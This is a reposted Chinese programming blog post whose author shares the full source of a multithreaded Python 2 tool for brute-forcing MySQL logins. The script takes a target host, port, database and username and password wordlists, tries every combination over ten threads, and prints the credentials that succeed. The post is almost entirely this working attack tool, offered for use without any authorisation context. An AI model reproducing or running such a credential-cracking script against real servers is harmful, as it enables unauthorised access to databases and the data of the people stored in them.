大家好，又见面了，我是你们的朋友全栈君。
转载请注明出处：https://blog.csdn.net/l1028386804/article/details/85566045
今天是2019年元旦，首先祝大家元旦快乐，在这个喜庆的日子里，不知道大家有没有坚持研究自己所在领域的知识。其实，每项知识、技能的积累，需要的是日复一日的坚持，正所谓——持之以恒，贵在坚持，这样才能做到每天进步一点点。好了，步入正题，今天，闲来无事，基于Python写了一个暴力破解MySQL的小工具，很简单，使用也很方便。这里，贴出完整的源代码，谨以此码祝大家元旦快乐：
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2019/01/01
# Created by 冰河
# Description MySQL暴力破解工具多线程版
# 博客 https://blog.csdn.net/l1028386804
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool
try:
import MySQLdb
except ImportError:
print '\n[!] MySQLdb模块导入错误,请到下面网址下载：'
print '[!] http://www.codegood.com/archives/129'
exit()
def usage():
print '+' + '-' * 50 + '+'
print '\t Python MySQL暴力破解工具多线程版'
print '\t Blog：https://blog.csdn.net/l1028386804'
print '\t\t Code BY： 冰河'
print '\t\t Time：2019-01-01'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 6:
print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt"
sys.exit()
def mysql_brute(user, password):
"mysql数据库破解函数"
db = None
try:
# print "user:", user, "password:", password
db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
# print '[+] 破解成功：', user, password
result.append('用户名：' + user + "\t密码：" + password)
except KeyboardInterrupt:
print '已成功退出程序!'
exit()
except MySQLdb.Error, msg:
print '程序出错,错误信息为:', msg
pass
finally:
if db:
db.close()
if __name__ == '__main__':
usage()
start_time = time.time()
if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
host = sys.argv[1]
else:
host = socket.gethostbyname(sys.argv[1])
userlist = [i.rstrip() for i in open(sys.argv[4])]
passlist = [j.rstrip() for j in open(sys.argv[5])]
print '\n[+] 目 标：%s \n' % sys.argv[1]
print '[+] 用户名：%d 条\n' % len(userlist)
print '[+] 密 码：%d 条\n' % len(passlist)
print '[!] 密码破解中,请稍候……\n'
result = []
for user in userlist:
partial_user = partial(mysql_brute, user)
pool = ThreadPool(10)
pool.map(partial_user, passlist)
pool.close()
pool.join()
if len(result) != 0:
print '[+] MySQL密码破解成功!\n'
for x in {}.fromkeys(result).keys():
print x + '\n'
else:
print '[-] MySQL密码破解失败!\n'
print '[+] 破解完成，用时： %d 秒' % (time.time() - start_time)
最后，在新的一年的开始，冰河向大家推荐自己2012年研究过的两本逆向书籍，很实用的两本书，见下图：
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请联系我们举报，一经查实，本站将立刻删除。
发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/128821.html原文链接：https://javaforall.net
